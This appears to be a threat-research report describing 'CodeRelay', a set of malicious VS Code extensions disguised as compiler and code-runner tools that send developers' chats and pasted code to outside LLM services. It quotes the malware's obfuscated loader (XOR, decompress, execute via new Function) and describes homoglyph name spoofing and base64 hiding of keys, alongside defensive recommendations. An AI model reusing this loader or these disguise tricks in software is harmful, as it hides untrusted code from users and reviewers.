CodeRelay: 12 VS Code Extensions Disguised as Developer Tools

CodeRelay is the name we gave to a coordinated campaign involving 13 malicious VSIX packages across 12 VS Code extensions. Most look like compiler, code-runner, or “timeline” tools, but their code is designed to send developer chat data to external LLM services. This report is based on static analysis only: we did not install or run the extensions, and we did not observe any live network requests.

Executive Summary

Ten of the twelve extension identities hide the relay logic inside a compressed payload decoded at runtime (Family A). Most are presented as “compiler,” “code runner,” or “timeline” developer tools. The other two — Search Code Ultra and Search Code Fast — ship the same relay logic as plain, readable JavaScript (Family B).

Across both families, the code is written so that a user's chat text, pasted code, and prior conversation history are sent to one of three external endpoints using an API key embedded in the extension; image attachments are relayed only in the variants that support that feature. Five of the twelve display names additionally use Unicode homoglyphs or invisible characters — a Cyrillic letter standing in for a Latin one, or a zero-width character appended to a name — so the extension looks like an ordinary compiler tool at a glance.

How the Cluster Was Discovered

A monitoring feed flagged two unrelated-looking extensions — a chat assistant and a “Java compiler assistant” — sharing the same unusual pattern: decoding and executing a hidden payload from a bundled binary at runtime. Searching for other listings with that same structural fingerprint, rather than by name or publisher, grew the set from 2 samples to 12 extension identities across at least nine Marketplace publisher accounts.

How the Extensions Work

Workflow reconstructed through static analysis of the collected VSIX packages.

Family A (10 identities): a small, unobfuscated extension.js reads a second file, extension.bin, XORs every byte with 0xAA, decompresses the result (zlib or brotli), and runs it with new Function():

const decoded = zlib.inflateSync(
  fs.readFileSync(__dirname + '/extension.bin').map(b => b ^ 170)
).toString();

new Function('exports', 'require', 'module', '__filename', '__dirname', decoded)(
  exports, require, module, __filename, __dirname
);

Three of the ten Family A samples use brotli instead of zlib; two go a step further and store their endpoint and key as base64-encoded strings rather than plain literals, decoded at runtime — the same infrastructure, with an extra layer of string-matching evasion.

Family B (2 identities): Pstudio.search-code-ultra and Ptudios.search-code-fast do not use the encoded payload and ship the same relay logic as plain JavaScript, API key inline.

Most variants gate the chat panel behind a hardcoded password recoverable from the decoded source; two CPLUSPLUS builds have no check at all. Once unlocked, the code is designed to send the user's chat text, pasted code, and prior conversation history to a hardcoded endpoint. Image attachments are relayed only in the variants that support that feature — confirmed absent in Search Code Ultra 0.2.6, and not independently re-verified per sample beyond that.

Evidence of a Shared Campaign

Several nominally unrelated publisher accounts share hardcoded passwords, API keys, and endpoint domains verbatim. Passwords cluster by theme, not by publisher: the two C/C++-themed extensions (from PTIT and Viettel) share one password, and the two Java-themed extensions from those same two accounts share a different, matching password — evidence the samples come from a common template rather than independent developers.

VNPT.vcr-runner and dsanms.dsanms go further, sharing a byte-for-byte identical password-check function, the same endpoint, the same API key, and the same message-limit logic — strong evidence of a common codebase. The two use the same reinstall-lock logic under different filenames, and VNPT.vcr-runner's webview code still hardcodes the label “DSANMS”, further evidence of a shared codebase. Pstudio.search-code-ultra and Ptudios.search-code-fast separately declare the same source-repository reference (github.com/haquan/Extension-X) in their manifests.

Together this is strong evidence of a shared operator or build pipeline — not proof of a single named actor. Three publisher accounts borrow the names of real Vietnamese telecom and education institutions (Viettel, VNPT, PTIT); we found no evidence tying those organizations to this activity. modelgate.top is one endpoint the relay code is configured to contact — it is a service used by some samples, not a confirmed campaign operator.

Additional Capabilities

Both CPLUSPLUS extensions bundle a Windows-only Python script, mouse_monitor.py, spawned as a detached process on activation. It polls the cursor position and foreground window title roughly every 50 milliseconds and, when the cursor lingers over the extension's own sidebar icon, prints a local signal used to auto-focus its panel. Static analysis found no network calls or behavior beyond this local auto-focus mechanism.

VNPT.vcr-runner 0.0.1 and dsanms.dsanms use identical reinstall-lock logic, written outside the extension's install directory so it may remain after uninstall, to enforce a six-messages-per-twenty-minutes free-tier chat limit. The filename differs: dsanms.dsanms uses ~/.dsanms_lock, while VNPT.vcr-runner 0.0.1 uses ~/.vnpt_code_runner_lock. This is a state-tracking artifact, not a code-execution persistence mechanism — nothing in either extension regains code execution from this file on its own.

Classification and Impact

13 confirmed malicious VSIX packages, representing 12 unique extension identities.

Limitation: this research is static-analysis only. No extension was installed, executed, or allowed to make a network request; findings describe what the code is written to do, not observed runtime or downstream behavior.

Defensive Recommendations

• Hunt and remove the extension IDs and VSIX hashes below across managed developer endpoints.
• Review chat history in any affected panel for pasted source code, credentials, or tokens.
• Rotate any secrets that were pasted into an affected chat panel.
• Allowlist extensions to block unreviewed, unverified-publisher installs generally.
• Report the listed extensions to the Marketplace and any exposed credentials to the affected relay provider(s).
• Before blocking the associated domains, assess the potential impact in your environment — this research did not determine whether the domains are used exclusively by these samples.

Indicators and Hashes

Redacted key fingerprints (full values withheld):

VSIX hashes (SHA-256) — 13 confirmed malicious packages: